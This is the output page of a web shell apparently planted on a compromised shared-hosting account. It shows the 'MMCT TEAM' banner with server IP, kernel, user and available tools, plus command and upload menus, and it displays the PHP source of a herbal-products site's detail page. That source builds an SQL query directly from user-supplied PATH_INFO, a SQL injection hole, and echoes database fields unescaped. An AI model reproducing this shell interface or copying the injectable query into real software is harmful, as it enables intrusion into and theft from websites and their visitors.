MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.117.172.189
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/indianherbaltreatment.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/indianherbaltreatment.com/products-detail.php
<?php
    include_once('admin/config.php');
    $slug_name = $_GET['slug_link'];
    if(isset($_SERVER['PATH_INFO'])){
    $slug_name=$_SERVER['PATH_INFO'];
    $querydt="SELECT * FROM `tbl_product` WHERE slug_link='$slug_name'";
    $rundt = mysqli_query($db,$querydt) or die("Query Not run");
    $datadt = mysqli_fetch_assoc($rundt);
 }
?>
<!doctype html>
<html lang="zxx">

<head>
    <title><?php echo $datadt["meta_title"];?></title>
    <meta name="description" content="<?php echo $datadt["meta_desc"];?>">
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <?php include 'top-link.php' ?>

</head>
<body>

<?php include 'header.php' ?>
<section style="background-color: #166b69;" class="burger-heade">
    <div class="container">
        <div class="row">
            <div class="col">
              <p style=" margin: 10px;"><a href="index.php">Home</a> <span style="color:white">/</span> <span style="color:white"><?php echo $datadt["en_name"];?></span></p>
            </div>
        </div>
    </div>
</section>

<section class="product-detail">
    <div class="container ">
        <div class="buy-button  my-3">
    <a class="blinking" style="background: red; padding: 10px; border-radius: 10px; margin: 10px auto; display: block;" href="tel:9213208586" id="blink-button">
        <p style="color:white; margin: 0px; font-weight: 600;" class="text-center">525 पेज और 483 जड़ी बूटियां की किताब के लिए संपर्क करें!  <b style="color:white">9213208586</b> </p>
    </a>
</div>

        <div class="row">
            <div class="col-md-6">
                <img style="height:80%;width:100%;" class="img-fluid" src="<?php echo $wspath?>admin/images/<?php echo $datadt["img_1"];?>" alt="<?php echo $datadt["img_1"];?>">
            </div>
            <div class="col-md-6">
                <h1 class="text-center"><?php echo $datadt["hi_name"];?> <b>/</b><span style="color:red"> <?php echo $datadt["ur_name"];?></span></h1>
                <div style="background: #EFC66E;" class="row detail">
                    <div class="col-5"><p >हिंदी नाम</p></div>
                    <div class="col-2"><p>:</p></div>
                    <div class="col-5"><p style="display: contents;" class="text-center"><?php echo $datadt["hi_name"];?></p></div>
                </div>
                <div style="background: #8CB477;" class="row detail">
                    <div class="col-5"><p >उर्दू नाम</p></div>
                    <div class="col-2"><p>:</p></div>
                    <div class="col-5"><p style="display: contents;" class="text-center"><?php echo $datadt["ur_name"];?></p></div>
                </div>
                <div style="background:#7193B1;" class="row detail">
                    <div class="col-5"><p >English Name</p></div>
                    <div class="col-2"><p>:</p></div>
                    <div class="col-5"><p style="display: contents;" class="text-center"><?php echo $datadt["en_name"];?></p></div>
                </div>
                <div style="background: #F7B0C9;" class="row detail">
                    <div class="col-5"><p >Latin Name</p></div>
                    <div class="col-2"><p>:</p></div>
                    <div class="col-5"><p style="display: contents;" class="text-center"><?php echo $datadt["la_name"];?></p></div>
                </div>
                <div style="background: #FDD659;" class="row detail">
                    <div class="col-5"><p >Family Name</p></div>
                    <div class="col-2"><p>:</p></div>
                    <div class="col-5"><p style="display: contents;" class="text-center"><?php echo $datadt["fa_name"];?></p></div>
                </div>
                <div class="row mt-3">
                    <div class="col-6">
                    <img style=";width:100%" class="img-fluid" src="<?php echo $wspath?>admin/images/<?php echo $datadt["img_2"];?>" alt="<?php echo $datadt["img_2"];?>">
                    </div>
                    <div class="col-6">
                    <img style=";width:100%" class="img-fluid" src="<?php echo $wspath?>admin/images/<?php echo $datadt["img_3"];?>" alt="<?php echo $datadt["img_3"];?>">
                    </div>
                </div>
            </div>
        </div>
        <div class="row">
            <div style="padding: 0px 40px" class="col">
                <p style="font-size: 19px;"><?php echo $datadt["desc_1"];?></p>
                <p style="font-size: 26px;"><?php echo $datadt["desc_2"];?></p>
            </div>
            <div class="buy-button  my-3">
    <a class="blinking" style="background: red; padding: 10px; border-radius: 10px; margin: 10px auto; display: block;" href="tel:9213208586" id="blink-button">
        <p style="color:white; margin: 0px; font-weight: 600;" class="text-center">525 पेज और 483 जड़ी बूटियां की किताब के लिए संपर्क करें!  <b style="color:white">9213208586</b> </p>
    </a>
</div>

        </div>
    </div>
    
</section>


<?php include 'footer.php' ?>


<script>
    // Function to toggle the blinking effect on the button
function toggleBlinking() {
    var button = document.getElementById("blink-button");
    button.classList.toggle("blink-border");
}

// Start blinking on page load (optional)
toggleBlinking();

// If you want to toggle the blinking on a certain event (e.g., button click)
// You can use the following code:
// var button = document.getElementById("blink-button");
// button.addEventListener("click", toggleBlinking);
</script>

</body>

</html>

MMCT - 2023